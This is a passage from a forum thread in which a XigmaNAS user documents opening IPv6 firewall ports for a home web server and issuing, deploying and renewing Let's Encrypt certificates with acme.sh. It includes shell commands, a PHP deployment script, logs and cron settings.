  3. In case the server is available over IPv6, there are no easy ways to change the port number on the fly. In most cases it's not possible to have standard IPv6 ports open on the border router and forward them to non-standard ones inside the LAN, as it can be easily done when using NAT IPv4. Of course, there are additional features in IPv6, but they require special option like "TPROXY --on-port" implemented in ip6tables (ref link).
  4. A secure connection to any server on the Internet is possible if it is encrypted. To encrypt connections to my server I decided to get key and certificate at Let's Encrypt (LE) certificate authority. Communication with LE's services is performed via ACME protocol on port 80 (ref ACME Working Group Internet-Draft link). And this is mandatory rule for HTTP challenge.
Finally I assigned standard 80/443 ports for the XigmaCloud web server to gain access inside and outside my local network. This decision required a total check of all possible web interfaces of the router and the server. When I did it, I still missed the administrative interface of the router itself and, after activating NAT Loopback on it, got into a funny situation.

NAT loopback

NAT loopback or NAT hairpinning (see Wikipedia article) feature allows to wrap connections to the web server within the local network. This is useful when the server has a domain name, and you do not need to remember what address it is available at, local or global.

If you forget and leave the router WebUI on the default 80 port, an attempt to connect to the local web server at its global address (on port 80) gets you to the router WebUI. It was really surprising to see router Admin page instead of the Nextcloud homepage.

Pinholes

In most home routers (like mine) port forwarding (see Wikipedia article) is simultaneously accompanied by port opening in router firewall. This is true for IPv4 but not for IPv6, since there is no port forwarding in IPv6, just firewalling. And home router IPv6 firewall still lacks WebUI, only command line is available. Below are the additional rules (pinholes) I've added to my Linux based router.

Code: Select all

ip6tables -I FORWARD -p udp --dport 80 -j ACCEPT
ip6tables -I FORWARD -p tcp --dport 80 -j ACCEPT
ip6tables -I FORWARD -p udp --dport 443 -j ACCEPT
ip6tables -I FORWARD -p tcp --dport 443 -j ACCEPT
There is, of course, a certain inconvenience when open standard 80/443 ports attract constant attention of router botnets, worms and other "bad" guys. On the other hand, it's so cool to forget about ports and just type the domain name in the browser's address bar.
back to thread content
Last edited by Snufkin on 18 Jan 2019 21:10, edited 2 times in total.
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

6. Let's Encrypt certificate

#7

Post by Snufkin » 06 Nov 2018 13:48

This topic addresses questions related to Let's Encrypt certificate issuance and automatic renewal.
Many thanks to the authors of the two excellent guides used to understand this topic.

Part ONE

I'd like to get single certificate for three domains only:
  • example.tld,
  • www.example.tld,
  • cloud.example.tld.
Although I've made an A-record for all subdomains (see topic 4. Domain name, Part ONE), I think it is wrong to issue a wildcard certificate for all explicitly and implicitly defined example.tld subdomains.
Isn't that too paranoid?

The following is a sequence of steps that I believe should be followed.
  1. Install acme.sh script (skip to subtopic).
  2. Issue Let's Encrypt certificate (skip to subtopic).
  3. Deploy issued certificate (skip to subtopic).
  4. Renew Let's Encrypt certificate (skip to subtopic).
Each subtopic from above list has its own dedicated post below, where discussion could be narrowed down to specific details.

Part TWO

It has been a long time since this discussion thread began. Let us update Part ONE assumptions and turn them into Part TWO actual setup, which is successfully running now (for more details see topic 4. Domain name, Part TWO).
  • Number of domain and subdomain names is now six.
  • Domain zones A and AAAA records are registered for domains example-1.tld-1 and example-2.tld-2 only. For subdomains cloud. and www., CNAME records are assigned.
  • Wildcard certificate is not available in my particular case, so there is no need to worry about explicitly and implicitly defined subdomains.
  • And the answer is "No", it was not a paranoia, but merely a reasonable precaution.
As of January 2019, free certificates under ACME draft protocol are issued by Let's Encrypt CA and Buypass CA. There are some differences between these certificate authorities and their certificates, in particular, Buypass cert is valid twice as long as Let's Encrypt cert, but Bypass does not support wildcard cert issue.

To work with a CA over ACME protocol, one has to choose an ACME client software. Let's Encrypt CA maintains list of ACME v2 Compatible Clients. And Peter Wemm, FreeBSD developer, explained in his excellent article Using Let's Encrypt within FreeBSD.org why he decided to choose acme.sh client.

back to thread content
Last edited by Snufkin on 30 Jan 2019 06:47, edited 6 times in total.
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

6.1 Install acme.sh script

#8

Post by Snufkin » 06 Nov 2018 13:50

This subtopic addresses questions related to ACME protocol shell script installation.

Part ONE

I see no reasons to emulate FreeBSD package support in embedded installation, like faust wrote in his guide. Utility curl is available by fetching binary manually (see guide by ghost) or installing Extended GUI with help of OneButtonInstaller (thanks to Crest).

Since I'm going to use the Multiple domains, SAN Webroot mode, I don't need to install trusted certificate authorities either. Moreover, this ca-root-nss.crt file is already included in XigmaNAS by default (for those who want to use ACME DNS API mode).

Summing above, command sequence to get and install acme.sh script looks rather simple.

Code: Select all

#!/bin/sh
su -m www
cd /persistent/path/acme
fetch -o master.tar.gz https://github.com/Neilpang/acme.sh/archive/master.tar.gz
tar xvf master.tar.gz
rm master.tar.gz
cd acme.sh-master
./acme.sh --install --nocron --home /persistent/path/acme
cd ..
rm -r acme.sh-master
faust recommended to create dedicated user in his guide, but for webroot mode it can cause trouble later (see next subtopic 6.2 Issue Let's Encrypt certificate).

Open questions
  • Is it safe to use default www user for installation and subsequent execution of the acme.sh script?
Part TWO

I revised Part ONE initial assumptions about server config and decided to follow faust advice to create dedicated user. The reasons for that were given in 3. Lighttpd settings topic, Part TWO, Aliases.
  • FreeBSD user acme belongs to group wheel to simplify setup for user www to have read-only access to Let's Encrypt (LE) certificate and key files.
  • Only acme user has write access to the directory /persistent/path/acme, where acme.sh script should be installed.
  • The above applies to the directory /persistent/path/webserver/dummy (see 1. File and directory permissions topic, Part TWO), where acme.sh script will write "token" value to respond LE challenge (see ACME protocol HTTP Challenge).
More details about certificate issuance could be found in the next subtopic 6.2 Issue Let's Encrypt certificate, Part TWO.

The sequence of commands, which was proposed in Part ONE of this subtopic, proved to be fully functional and completely safe to follow. In a virtual test environment I issued commands and undone them dozens of times without a single glitch. So I applied the changes on the real server without any doubt.

For those forum readers who is running embedded XigmaNAS instance and still have some doubts, I have accompanied all the commands with detailed comments.
  • Change current user and directory

    Code: Select all

    su -m acme
    cd /persistent/path/acme
  • Download installation package and unpack it
    Note: temporary directory ./acme.sh-master will be created by default.

    Code: Select all

    fetch -o master.tar.gz https://github.com/Neilpang/acme.sh/archive/master.tar.gz
    tar xvf master.tar.gz
  • Delete installation package and change directory to temporary

    Code: Select all

    rm master.tar.gz
    cd acme.sh-master
  • Install acme.sh
    Note 1: running /full/path/acme.sh --install command in directory other than ./acme.sh-master will result in an installation error.
    Note 2: options --nocron and --home are mandatory for XigmaNAS embedded.

    Code: Select all

    ./acme.sh --install --nocron --home /persistent/path/acme
  • Change directory back and delete temporary directory

    Code: Select all

    cd ..
    rm -r acme.sh-master
After installation all subsequent acme.sh calls can be made from any current directory. In any case, you should specify user acme and script home directory. A couple of examples are listed below, full list of acme.sh commands and parameters could be found on project Wiki page.
  • Check version

    Code: Select all

    ~# sudo -u acme /persistent/path/acme/acme.sh --version --home /persistent/path/acme
    https://github.com/Neilpang/acme.sh
    v2.8.0
  • Upgrade to the latest version

    Code: Select all

    ~# sudo -u acme /persistent/path/acme/acme.sh --upgrade --home /persistent/path/acme
    Installing from online archive.
    Downloading https://github.com/Neilpang/acme.sh/archive/master.tar.gz
    Extracting master.tar.gz
    It is recommended to install socat first.
    We use socat for standalone server if you use standalone mode.
    If you don't use standalone mode, just ignore this warning.
    Installing to /persistent/path/acme
    Installed to /persistent/path/acme/acme.sh
    Good, bash is found, so change the shebang to use bash as preferred.
    OK
    Install success!
    Upgrade success!
When all preparatory steps are completed, one can proceed to the trial ("staging") certificate issue.
back to topic content
back to thread content
Last edited by Snufkin on 26 Jan 2019 20:52, edited 6 times in total.
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

6.2 Issue Let's Encrypt certificate

#9

Post by Snufkin » 06 Nov 2018 13:51

This subtopic addresses questions related to using ACME protocol shell script to issue a certificate.

Part ONE

As it was mentioned in previous subtopic 6.1 Install acme.sh script, my choice is Webroot mode.
Two reasons for that:
  • I have root access to the server,
  • local registrar provides DNS API, but it's not implemented in acme.sh script.
To issue test certificate ("staging" in terms of Let's Encrypt service) I call acme.sh script with following options:

Code: Select all

#!/bin/sh
su -m www
cd /persistent/path
./acme.sh --issue \
          --force \
	  --staging \
	  --home /persistent/path/acme \
	  --webroot /persistent/path/webserver \
	  -d "example.tld" \
	  -d "www.example.tld" \
	  -d "cloud.example.tld"
To complete certificate issuance www user must have write access to webroot directory.
And at this point topic 1. File and directory permissions may or has to be revised.

There is another ACME Stateless mode, and it doesn't require write access to the webroot folder, just server response with Lets's Encrypt account thumbprint.

I would prefer Stateless mode to Webroot one, since Lets's Encrypt account is created in any case, but have no idea how to implement below response for lighttpd (example for ngnix server).

Code: Select all

ACCOUNT_THUMBPRINT='xxx999'

http {
...
server {
...
  location ~ ^/\.well-known/acme-challenge/([-_a-zA-Z0-9]+)$ {
    default_type text/plain;
    return 200 "$1.xxx999";
  }
...
}
}
Open questions
  • Does anyone have an experience implementing acme.sh Stateless mode?
  • What are the security pros and cons of two above modes?
Part TWO

My XigmaNAS web server and Let's Encrypt (LE) certificate authority (CA) "talk" to each other by ACME protocol described in great details in Automatic Certificate Management Environment (ACME) draft specification.

Unfortunately, I found little technical info on the Internet how ACME clients work at the time of certificate issuance. Even acme.sh readme page lacks information what is happening Under the hood. For this reason additional, perhaps redundant details have been added to this subtopic to explain how the script works, where and what data it stores, and how it logs its actions.

An overview of the steps to issue a certificate is given in ACME Protocol Overview section. Here is a brief summary of this section.
  1. Create account
  2. Issue certificate
    • Submit an order
    • Prove control
    • Submit Certificate Signing Request (CSR)
    • Dowload certificate
  3. Revoke certificate (optional)
acme.sh script options fully cover all the steps one need to perform from the list above:
  • --issue or --cron, for steps 1 and 2,
  • --revoke, for step 3.
All available options and parameters are listed on acme.sh Wiki page.

To deal with errors that may occur during certificate issuance, log details could be extremely useful:
  • default log path

    Code: Select all

    /persistent/path/acme/acme.sh.log
  • log options, ref link,
  • debug options, ref link.
Log path and log level can also be set in acme.sh own configuration file

Code: Select all

/persistent/path/acme/account.conf
With latest Part TWO revisions in topics 1. File and directory permissions, 3. Lighttpd settings, Aliases, 4. Domain name and subtopic 6.1 Install acme.sh script my command line to issue staging LE certificate looks like this

Code: Select all

sudo u acme /persistent/path/acme.sh \
       --issue \
       --force \
       --staging \
       --home    /persistent/path/acme \
       --webroot /persistent/path/webserver/dummy \
       -d "example-1.tld-1" \
       -d "example-2.tld-2" \
       -d "cloud.example-1.tld-1" \
       -d "cloud.example-2.tld-2" \
       -d "www.example-1.tld-1" \
       -d "www.example-2.tld-2"
Note that unlike regular (production) certificate issue, option Once acme.sh script is running, it begins to perform all ACME protocol steps to obtain a certificate. Here are some notes on acme.sh actions grouped by steps listed above.

Create account

At this step we are talking about LE service accounts, described in ACME Protocol Overview section. For proper acme.sh operation this step is not required to perform separately, although this possibility exists with the option --registeraccount. Service account is registered automatically by acme.sh in the next step.

LE accounts are different for staging and production environment and can be used simultaneously. Once created, accounts will be used every time to access LE ACME server. Default directory and its content for both staging and production accounts:

Code: Select all

~# ls -lF /persistent/path/acme/ca
drwxr-xr-x  2 acme  wheel  acme-staging.api.letsencrypt.org/
drwxr-xr-x  2 acme  wheel  acme-v01.api.letsencrypt.org/
Files in each account directory:

Code: Select all

~# ls -lF /persistent/path/acme/ca/acme-v01.api.letsencrypt.org/
-rw-r--r--  1 acme  wheel  account.json
-rw-------  1 acme  wheel  account.key
-rw-r--r--  1 acme  wheel  ca.conf
None of the above files contain ACCOUNT_THUMBPRINT mentioned earlier in Part ONE of this subtopic. The variable gets a value after acme.sh script is executed and can be used later to implement Stateless mode.

Submit an order

At this step acme.sh script:
  1. builds list of domains based on command-line option -d parameter,
  2. checks webroot directory for each domain in the list,
  3. creates dedicated directory example-1.tld-1 with name of first domain in the list,
  4. validates LE account key hash and, if there were changes or no hash found, registers new account,
  5. generates private key example-1.tld-1.key,
  6. creates Certificate Signing Request example-1.tld-1.csr,
  7. gets domain auth token from LE ACME server for each domain in the list.
The log looks like this:

Code: Select all

Multi domain='DNS:example-1.tld-1,DNS:example-2.tld-2,DNS:cloud.example-1.tld-1,DNS:cloud.example-2.tld-2,DNS:www.example-1.tld-1,DNS:www.example-2.tld-2'
Getting domain auth token for each domain
Getting webroot for domain='example-1.tld-1'
Getting new-authz for domain='example-1.tld-1'
The new-authz request is ok.
...
Getting webroot for domain='www.example-2.tld-2'
Getting new-authz for domain='www.example-2.tld-2'
The new-authz request is ok.
Taking into account my hardware and software environment, as well as number of domains, it takes about 8 seconds total to perform above actions. After that, example-1.tld-1 directory contents will be as follows:

Code: Select all

~# ls -lF /persistent/path/acme/example-1.tld-1
-rw-r--r--  1 acme  wheel  example-1.tld-1.conf
-rw-r--r--  1 acme  wheel  example-1.tld-1.csr
-rw-r--r--  1 acme  wheel  example-1.tld-1.csr.conf
-rw-r--r--  1 acme  wheel  example-1.tld-1.key
Single example-1.tld-1.conf file contains the entire example-1.tld-1 configuration:

Code: Select all

~# cat /persistent/path/acme/example-1.tld-1/example-1.tld-1.conf
Le_Domain='example-1.tld-1'
Le_Alt='example-2.tld-2,cloud.example-1.tld-1,cloud.example-2.tld-2,www.example-1.tld-1,www.example-2.tld-2'
Le_Webroot='persistent/path/webserver/dummy'
Le_PreHook=''
Le_PostHook=''
Le_RenewHook='echo Renew hook'
Le_API='https://acme-v01.api.letsencrypt.org/directory'
Le_Keylength=''
Le_LinkCert='https://acme-v01.api.letsencrypt.org/acme/cert/<token>'
Le_LinkIssuer='https://acme-v01.api.letsencrypt.org/acme/issuer-cert'
Le_CertCreateTime='1548486007'
Le_CertCreateTimeStr='Sat Jan 26 07:00:07 UTC 2019'
Le_NextRenewTimeStr='Wed Mar 27 07:00:07 UTC 2019'
Le_NextRenewTime='1553583607'
A few comments about the variables in the configuration file.
  • Le_Domain variable is set to the value of first domain name in the list, while all other domains from the list are placed in Le_Alt variable.
  • Variable Le_RenewHook represents my test command to see how acme.sh works when certificate is actually renewed.
  • Variable pairs Le_CertCreateTime* and Le_NextRenewTime* define time when acme.sh script will not access LE ACME server for certificate renewal. More details can be found in subtopic 6.4 Renew Let's Encrypt certificate, Part TWO.
Prove control

This step is the culmination point of all the work on setting up web server with secure HTTPS access.
acme.sh script performs following actions for each domain in the list:
  1. creates well-known path to the local directory based on option --webroot parameter

    Code: Select all

    /persistent/path/webserver/dummy/.well-known/acme-challenge
  2. writes simple text file with <token> name and <token> content

    Code: Select all

    /persistent/path/webserver/dummy/.well-known/acme-challenge/<token>
  3. changes owner/group of .well-known to acme:wheel,
  4. sends HTTP request to LE ACME server and gets accept response,
  5. waits 2 seconds for LE ACME server to read token file,
  6. sends another HTTP request and gets the results.
Action 3 is a good hint on how to split the certificate issue and its deployment between two different FreeBSD users with different set of priveleges. More about it see in 6.3 Deploy issued certificate, Part TWO.

If the check is successful and LE ACME server has read the file, the script removes <token> file and well-known directories from document root, then proceeds to the next domain check. Otherwise, it tries to perform 4, 5 and 6 actions 13 times more and, in case of failure, interrupts its work.

Successful verification of all my six domains takes about 20 seconds. The log looks like this:

Code: Select all

Verifying: example-1.tld-1
Success
...
Verifying: www.example-2.tld-2
Success
Verify finished, start to sign.
Here's a good place to tell more about how bug was fixed in the lighttpd Alias rule (see topic 3. Lighttpd settings, Part TWO, Aliases).

I tried to renew LE certificate for the first time and got 13 timeout errors in the log. First thing to check was whether a file is readable in well-known path. For this I had to:
  1. set lighttpd debug.log-request-handling = "enable" (see topic 3. Lighttpd settings, Part TWO, Debugging),
  2. manually create simple text file with a couple of words and write it instead of token to

    Code: Select all

    /persistent/path/webserver/dummy/.well-known/acme-challenge/test.txt
  3. open link in a browser

    Code: Select all

    http://example-1.tld-1/.well-known/acme-challenge/test.txt
  4. carefully go through the XigmaNAS system log to understand how lighttpd parsed HTTP request and what document root it assigned.
I found the request

Code: Select all

http://example-1.tld-1/.well-known/acme-challenge/test.txt
goes to the local file

Code: Select all

/persistent/path/webserver/landpage/.well-known/acme-challenge/test.txt
instead of

Code: Select all

/persistent/path/webserver/dummy/.well-known/acme-challenge/test.txt
Of course, lighttpd server did not find it and gave 404 error. This could happen if Alias rule doesn't work or even exists. And it took me a while to find out that lighttpd Alias rules don't take regular expressions. There is not a word about it on lighttpd Wiki page.

Submit Certificate Signing Request (CSR)

It's a fairly simple step that starts immediately after domain verification. acme.sh sends CSR to LE ACME server and gets response with a signed sertificate. Log output:

Code: Select all

Verify finished, start to sign.
Cert success.
-----BEGIN CERTIFICATE-----
<...>
-----END CERTIFICATE-----
Dowload certificate

This is final step in a sequence to issue LE certificate. acme.sh downloads 4 files and writes them to the dedicated directory.

Final list of files in example-1.tld-1 directory:

Code: Select all

~# ls -lF /persistent/path/acme/example-1.tld-1
-rw-r--r--  1 acme  wheel  ca.cer
-rw-r--r--  1 acme  wheel  fullchain.cer
-rw-r--r--  1 acme  wheel  example-1.tld-1.cer
-rw-r--r--  1 acme  wheel  example-1.tld-1.conf
-rw-r--r--  1 acme  wheel  example-1.tld-1.csr
-rw-r--r--  1 acme  wheel  example-1.tld-1.csr.conf
-rw-r--r--  1 acme  wheel  example-1.tld-1.key
Log output:

Code: Select all

Your cert is in  /persistent/path/acme/example-1.tld-1/example-1.tld-1.cer
Your cert key is in  /persistent/path/acme/example-1.tld-1/example-1.tld-1.key
The intermediate CA cert is in  /persistent/path/acme/example-1.tld-1/ca.cer
And the full chain certs is there:  /persistent/path/acme/example-1.tld-1/fullchain.cer
This step and previous one are very short, they both last about 3 seconds.

After the key is created and signed certificate received, one can start deploying them and checking XigmaNAS web server response in the browser (see next subtopic 6.3 Deploy issued certificate). If no errors are found, one can move from staging to production LE environment and issue a regular certificate. My command line looks like this:

Code: Select all

sudo u acme /persistent/path/acme.sh \
      --issue \
      --force \
      --home    /persistent/path/acme \
      --webroot /persistent/path/webserver/dummy \
      -d "example-1.tld-1" \
      -d "example-2.tld-2" \
      -d "cloud.example-1.tld-1" \
      -d "cloud.example-2.tld-2" \
      -d "www.example-1.tld-1" \
      -d "www.example-2.tld-2"
Option --force is mandatory, because LE staging certificate is valid for 90 days, and I needed to overwrite it with production one. acme.sh doesn't support separate domain directories for each environment unlike service accounts. And if staging certificate should be kept for the future tests, it's better to back up whole directory before issuing production certificate.

Successful LE certificate issuance is accompanied by three .cer files. These files are two options for the chain of trust (see topic 3. Lighttpd settings, Part TWO, Сhained certificates).

Code: Select all

ca.cer              | Root CA <-> LE CA
example-1.tld-1.cer | LE CA <-> My domains
fullchain.cer       | Root CA <-> LE CA <-> My domains
A first pair of them are links in the chain of trust, and third file is a complete chain, just result of merging two links. Options for using chains of trust are described in more details in topic 6.3 Deploy issued certificate, Part TWO.

As for Part ONE open questions, they still have not received a final answer. Here I would like to add a couple of thoughts what acme.sh challenge mode is more secure, webroot (W-mode) or stateless (S-mode).

Both modes belong to the same ACME http-01 Validation method, and security considerations are well presented in Chapter 10 of ACME draft specification.
  • In W-mode my web server accepts well-known URL path for about 30 seconds (in my config) every two months. The rest of the time server returns 404 code. In S-mode web server accepts well-known requests all the time. This gives malicious user much more time to learn my web server settings and get my account thumbprint.
  • In W-mode ACME challenge starts by local client only with known remote ACME server. For S-mode ACME challenge can be run by any malicious user outside of my local network. And, if account thumbprint is obtained, my server will be used simply as a passive responder to obtain certificates via ACME.
Maybe someone with a solid knowledge of network security will be able to give an expert answer.

back to topic content
back to thread content
Last edited by Snufkin on 04 Feb 2019 13:09, edited 7 times in total.
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

6.3 Deploy issued certificate

#10

Post by Snufkin » 06 Nov 2018 13:52

This subtopic addresses questions related to Let's Encrypt certificate deployment.

Part ONE

To fulfill deployment task I'm going to completely rely on [HowTo] Embedded N4F auto renew SSL certs + web UI + syncthing UI guide by faust.

Example of DeployWebsrvCert.php script placed in /persistent/path directory.

Code: Select all

#!/usr/local/bin/php
<?php

require_once 'config.inc';

# Paths to acme files
$acme_path = "/persistent/path/acme";
$acme_domain = "example.tld";
$acme_cert_path = "{$acme_path}{$acme_domain}/{$acme_domain}.cer";
$acme_key_path = "{$acme_path}{$acme_domain}/{$acme_domain}.key";

# Read the acme cert
$acme_file = fopen($acme_cert_path, "r");
$acme_cert = fread($acme_file, filesize($acme_cert_path));
fclose($acme_file);

# Read the acme key
$acme_file = fopen($acme_key_path, "r");
$acme_key = fread($acme_file, filesize($acme_key_path));
fclose($acme_file);

# Check validity of cert and key
$valid_cert = is_valid_certificate($acme_cert);
$valid_key = is_valid_privatekey($acme_key,"RSA");

# Check if cert and key are new
$isnew_cert = (base64_encode($acme_cert) != $config['websrv']['certificate']);

# Import cert if cert/key are valid and cert is new
if ($valid_cert && $valid_key && $isnew_cert):

	echo "PHP acme cert import: Importing new certificate..." . PHP_EOL;
	echo " - $acme_cert_path" . PHP_EOL;

	# Write cert to config
	$config['websrv']['certificate'] = base64_encode($acme_cert);
	echo " - $acme_key_path" . PHP_EOL;

	# Write key to config
	$config['websrv']['privatekey'] = base64_encode($acme_key);
	echo " - Writing to config.xml" . PHP_EOL;

	# Commit to config file
	write_config();

	# Restart lighttpd
	echo " - Restarting lighttpd" . PHP_EOL;
	exec("/etc/rc.d/lighttpd restart");

# Don't import cert if invalid or isn't new
else:
	echo "PHP acme cert import: Not importing cert/key." . PHP_EOL;
	if (!$valid_cert): echo " - Invalid certificate : $acme_cert_path" . PHP_EOL; endif;
	if (!$valid_key): echo " - Invalid private key : $acme_key_path" . PHP_EOL; endif;
	if (!$isnew_cert): echo " - Certificate already in use : $acme_cert_path" . PHP_EOL; endif;
endif;

?>
Some changes were made to the original php script.
  1. Path to store certificates in config.xml changed from ['system']['webgui'] to ['websrv'].
  2. Lines for syncthing service removed.
I'm going to change this script further and remove checks whether the certificate is new.

To keep certificate checks active one can use acme.sh --pre, --post, --renew hooks and --reload cmd. It seems to me the most appropriate would be --renew-hook called when certificates are successfully renewed.

Renew hook could be written to acme.sh configuration file during the first run of the script to issue the certificate (see subtopic 6.2 Issue Let's Encrypt certificate). Therefore, issuance of real (not staging) Let's Encrypt certificate will look like this

Code: Select all

#!/bin/sh
su -m www
cd /persistent/path
./acme.sh --issue \
          --home /persistent/path/acme \
	  --webroot /persistent/path/webserver \
	  -d "example.tld" \
	  -d "www.example.tld" \
	  -d "cloud.example.tld" \
	  --renew-hook "php -f /persistent/path/DeployWebsrvCert.php"
Open questions
  • Am I missing something?
Part TWO

Renewal hook

Initially I had the idea to change the deployment script further and remove the checks if the certificate is new (see Part ONE of this subtopic). For this I wanted to use acme.sh script's own capabilities to deploy cert and key by calling external deployment script. Such a call can be made with one of the hooks that are implemented in acme.sh script. I added this hook to the script configuration file to check how it works (see subtopic 6.2 Issue Let's Encrypt certificate, Part TWO, Submit an order).

Deploying to an embedded XigmaNAS environment involves updating config.xml file, and this can be done with root privileges only. At the same time, acme.sh script itself runs with acme user set of permissions. And, to call an external script on behalf of root user, one need to add acme user to sudoers to elevate privileges. It doesn't seem like a good idea, I would prefer acme.sh to drop privileges.

The script already has basic features for access control (see Action 3 in subtopic 6.2 Issue Let's Encrypt certificate, Part TWO, Prove control). I hope that over time the author of the script will develop these features further.

Summing the above, it turns out that command line for certificate issuance (see Part ONE of this subtopic) needs to be revised. I removed --renew-hook and added --force options to the final command line version, which is presented in the previous subtopic 6.2 Issue Let's Encrypt certificate, Part TWO.

Deployment script

The hook option didn't work and I came back to fully independent script proposed by faust to perform cert validation and deployment tasks. With couple of changes mentioned in Part ONE of this subtopic, deployment script did its job just fine at least two times, after first issue and first renewal. And it kept doing it silently many times more until I found a little XigmaNAS WebUI glitch.

A long version of the glitch story can be read in How to read/write cert and key data from/to config file? forum thread. In short, deployment script detected MS Winfows CR+LF characters in key and certificate sections of config.xml file although there should be only Unix LF chars. And it happened every time after I saved the web server configuration during setup.

The bigger gun proposed by ms3494 seemed too heavy to me, and I tried to find simplified solution. Easy way to clean a string from unwanted chars was suggested by Roey in Stack Overflow discussion. Now the condition line looks like this

Code: Select all

$isnew_cert = (0 !== strcmp($acme_cert,str_replace("\r", '', base64_decode($config['websrv']['certificate']))));
and full deployment script final version

Code: Select all

#!/usr/local/bin/php
<?php

require_once 'config.inc';

# Paths to acme files
$acme_path = "/persistent/path/acme/";
$acme_domain = "example-1.tld-1";
$acme_cert_path = "{$acme_path}{$acme_domain}/{$acme_domain}.cer";
$acme_key_path = "{$acme_path}{$acme_domain}/{$acme_domain}.key";

# Read the acme cert
$acme_file = fopen($acme_cert_path, "r");
$acme_cert = fread($acme_file, filesize($acme_cert_path));
fclose($acme_file);

# Read the acme key
$acme_file = fopen($acme_key_path, "r");
$acme_key = fread($acme_file, filesize($acme_key_path));
fclose($acme_file);

# Check validity of cert and key
$valid_cert = is_valid_certificate($acme_cert);
$valid_key = is_valid_privatekey($acme_key,"RSA");

# Check if cert is new
# Before checking remove Windows CR symbol from config data
$isnew_cert = (0 !== strcmp($acme_cert,str_replace("\r", '', base64_decode($config['websrv']['certificate']))));

# Import cert if cert/key are valid and cert is new
if ($valid_cert && $valid_key && $isnew_cert):

	echo "PHP acme cert import: Importing new certificate..." . PHP_EOL;

	echo " - $acme_cert_path" . PHP_EOL;
	# Write cert to config
	$config['websrv']['certificate'] = base64_encode($acme_cert);

	echo " - $acme_key_path" . PHP_EOL;
	# Write key to config
	$config['websrv']['privatekey'] = base64_encode($acme_key);

	echo " - Writing to config.xml" . PHP_EOL;
	# Commit to config file
	write_config();

	# Restart lighttpd
	echo " - Restarting web server" . PHP_EOL;
	exec("service websrv restart");

# Don't import cert if invalid or isn't new
else:
	echo "PHP acme cert import: Not importing cert/key." . PHP_EOL;
	if (!$valid_cert): echo " - Invalid certificate : $acme_cert_path" . PHP_EOL; endif;
	if (!$valid_key): echo " - Invalid private key : $acme_key_path" . PHP_EOL; endif;
	if (!$isnew_cert): echo " - Certificate already in use : $acme_cert_path" . PHP_EOL; endif;
endif;

?>
In conclusion, I'd like to add a couple of words how to use one full chain certificate file instead of two link files. The following steps should be followed:
  • edit line with variable acme_cert_path in deployment script

    Code: Select all

    $acme_cert_path = "{$acme_path}{$acme_domain}/{$acme_domain}.cer";
    and put appropriate file name in it

    Code: Select all

    $acme_cert_path = "{$acme_path}{$acme_domain}/fullchain.cer";
  • remove line in lighttpd configuration (see topic 3. Lighttpd settings, Part TWO, Сhained certificates)

    Code: Select all

    ssl.ca-file = "/persistent/path/acme/example.tld/ca.cer"
That's it.
back to topic content
back to thread content
Last edited by Snufkin on 05 Feb 2019 20:33, edited 3 times in total.
XNAS 11.3.0.4 embedded, ASUS P5B-E, Intel DC E6600, 4 GB DDR2, 2 x HGST HDN726040ALE614, 2 x WDC WD5000AAKS, Ippon Back Power Pro 400

User avatar
Snufkin
Advanced User
Advanced User
Posts: 289
Joined: 01 Jul 2012 11:27
Location: Etc/GMT-3 (BSD style)
Status: Offline

6.4 Renew Let's Encrypt certificate

#11

Post by Snufkin » 06 Nov 2018 13:53

This subtopic addresses questions related to setting up and running ACME protocol shell script cronjob to renew Let's Encrypt certificate.

Part ONE

Task to automatically renew Let's Encrypt certificate (see guide by ghost) could be manually entered in XigmaNAS System > Advanced > Cron page.

Command: /mnt/persistent/path/acme.sh --cron --home /mnt/persistent/path
Who: www
Description: Cert check/renewal
Schedule Time: twice a day, in random minute

Question about default www user already been asked in subtopic 6.1 Install acme.sh script.
Cronjob Schedule Time is well explained on certbot Automating renewal help page.

Open questions
  • Any?
Part TWO

XigmaNAS embedded doesn't accept acme.sh commands to automatically create cron jobs, and to avoid installation errors --nocron option should be used (see topic 6.1 Install acme.sh script, Part TWO). For this reason, all certificate related jobs in crontab file must be entered manually in XNAS WebUI.

Summing up all the changes made during XNAS web server initial setup and testing, it turns out I have to run not one, but two cron jobs. Here is an example of my working configuration:
  1. Certificate renewal job
    Command: /persistent/path/acme/acme.sh --cron --home /persistent/path/acme
    Who: acme
    Description: Cert check/renewal
    Schedule Time: twice a day, in random minute
  2. Certificate deployment job
    Command: php -f /persistent/path/DeployWebsrvCert.php
    Who: root
    Description: Cert deployment
    Schedule Time: twice a day, 10 minutes after running renewal job
Generally acme.sh script can be run as often as needed. Script stores certificate validity time in a separate domain configuration file (see topic 6.2 Issue Let's Encrypt certificate, Part TWO, Create account) and checks the end date each time it's executed with option --cron. This feature prevents acme.sh from exceeding Let's Encrypt Production Rate Limits.

acme.sh log when no update occurs looks like this:

Code: Select all

===Starting cron===
Renew: 'example-1.tld-1'
Skip, Next renewal time is: Wed Mar 27 07:00:07 UTC 2019
Add '--force' to force to renew.
Skipped example-1.tld-1
===End cron===
Deployment PHP script can also be run as often as needed. The script contains a check to see if the certificate has changed (see previous subtopic 6.3 Deploy issued certificate, Part TWO). The script has no features to write its actions to XigmaNAS system log, so here are both options for the console output.
  • No update

    Code: Select all

    ~# php -f /persistent/path/DeployWebsrvCert.php
    PHP acme cert import: Not importing cert/key.
     - Certificate already in use : /persistent/path/acme/example-1.tld-1/example-1.tld-1.cer
  • Update has occurred

